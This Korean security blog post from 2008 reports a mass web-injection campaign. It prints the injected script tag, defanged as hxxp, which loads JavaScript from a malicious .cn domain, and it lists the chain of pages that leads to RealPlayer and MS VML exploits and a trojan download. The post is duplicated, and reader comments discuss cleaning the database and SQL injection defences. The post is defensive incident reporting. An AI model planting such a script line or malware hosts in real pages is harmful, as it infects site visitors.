# 주의사항 : 아래의 악성코드서버나 피해 사이트에 접속하면 악성코드에 감염되므로, 보안전문가가 아닌 분들은 절대 접속하지 마시기 바랍니다.
<script src=hxxp://www.killwow1.cn/g.js></script> 삽입 사례 등장
Googling: 40 개, KR 도메인: 2 개, 미차단
g.js -> hxxp://www.killwow1.cn/cc/index.htm 호출
index.htm -> 14.htm -> hxxp://www.qiuxuewow.cn/wow.exe (Trojan horse Agent.UNN)
-> rl.htm (RealPlayer exploit)
-> new.htm (RealPlayer exploit)
-> 04.htm (MS VML exploit)
wow.exe 의 VirusTotal 검사 결과 : http://www.virustotal.com/ko/analisis/f79d4e1e2278882adbbd722a29bb30a1 (V3 를 포함한 19개의 백신이 탐지 중)
www.killwow1.cn [60.169.3.130] (08-05-11 14:11, Hefei, CN)
www.qiuxuewow.cn [60.169.3.130] (08-05-11 14:16, Hefei, CN)
이번 공격은 기존의 ofuscation 기법에 변화를 주기 위해 노력한 흔적이 보임.
참고로 아래 그림과 같이 <script src 가 중복으로 들어가는 경우는
이미 당한 사이트를 또다시 공격하는 와중에 생기는 side effect 임.
얘야, 이제 그만 하자~ 많이 묵었다 아이가~ 아니면 소스에 감염 예외 대상으로 한글도 추가해주던가~
이글루스 가든 - professional secur...
<script src=hxxp://www.killwow1.cn/g.js></script> 삽입 사례 등장
Googling: 40 개, KR 도메인: 2 개, 미차단
g.js -> hxxp://www.killwow1.cn/cc/index.htm 호출
index.htm -> 14.htm -> hxxp://www.qiuxuewow.cn/wow.exe (Trojan horse Agent.UNN)
-> rl.htm (RealPlayer exploit)
-> new.htm (RealPlayer exploit)
-> 04.htm (MS VML exploit)
wow.exe 의 VirusTotal 검사 결과 : http://www.virustotal.com/ko/analisis/f79d4e1e2278882adbbd722a29bb30a1 (V3 를 포함한 19개의 백신이 탐지 중)
www.killwow1.cn [60.169.3.130] (08-05-11 14:11, Hefei, CN)
www.qiuxuewow.cn [60.169.3.130] (08-05-11 14:16, Hefei, CN)
이번 공격은 기존의 ofuscation 기법에 변화를 주기 위해 노력한 흔적이 보임.
참고로 아래 그림과 같이 <script src 가 중복으로 들어가는 경우는

얘야, 이제 그만 하자~ 많이 묵었다 아이가~ 아니면 소스에 감염 예외 대상으로 한글도 추가해주던가~
이글루스 가든 - professional secur...

덧글
박석민 2008/05/13 11:08 # 삭제 답글
웹로그상에 위의 killnow1.cn을 삽입한 흔적이 있지만, 실질적으로 해당 소스에는 위의 코드가 삽입이 안되어 있습니다. 방화벽상에서 해당 공격IP를 막아 두었지만, 다른 방어책이 있을까요
헐랭이 2008/05/13 15:03 # 답글
혹시 DB 안에 killwow1.cn 이 삽입되어 있는지 확인해보세요.
손님 2008/05/13 18:05 # 삭제 답글
소스가 아니로 db안에 있을텐데요..확인해보시고 로그상에 찍힌 url의 소스를 반드시 분석해서 대비하세요..2차 3차 자동 스캔에 걸리면 어차피 또 들어옵니다.
ww0jeff 2008/05/13 18:27 # 삭제 답글
웹로그에 남은걸로 봐서, 단순네트워크방화벽이나 패터업데이트안된구형웹방화벽(?)을 사용하시나요?웹어플리케이션이 입력값 검증을 잘해서 sqli(sql injection)가 안먹힌 걸수도 있습니다만.
확인사살차원에서 전 테이블에서 "<script>" 형태의 코드가 삽입되어 있는지 확인해보시는 것도 좋을 것 같습니다.
어플리케이션중에 한개라도 취약한 부분이 있으면 그지점을 통해서 전체db의 문자열형 필드에 스크립트를 다 삽입을 했을텐데 만약 안되있다면 일단은 안심요.
이제 mssql 은 그만하고 oracle, db2, sybase, mysql 로 넘어가진 않을까요? 넘어가면 문제가 너무 커질까요? 왜 안하는지 모르겠군요.. 할줄 몰라서는 답 아니죠~
사용자 입장에서는 클라이언트단에 웹프록시를 둬서 내부사용자들이 실제 공격을 당하고 있는지 확인해보고 막는 것도 한가지 방법일 수 있겠습니다.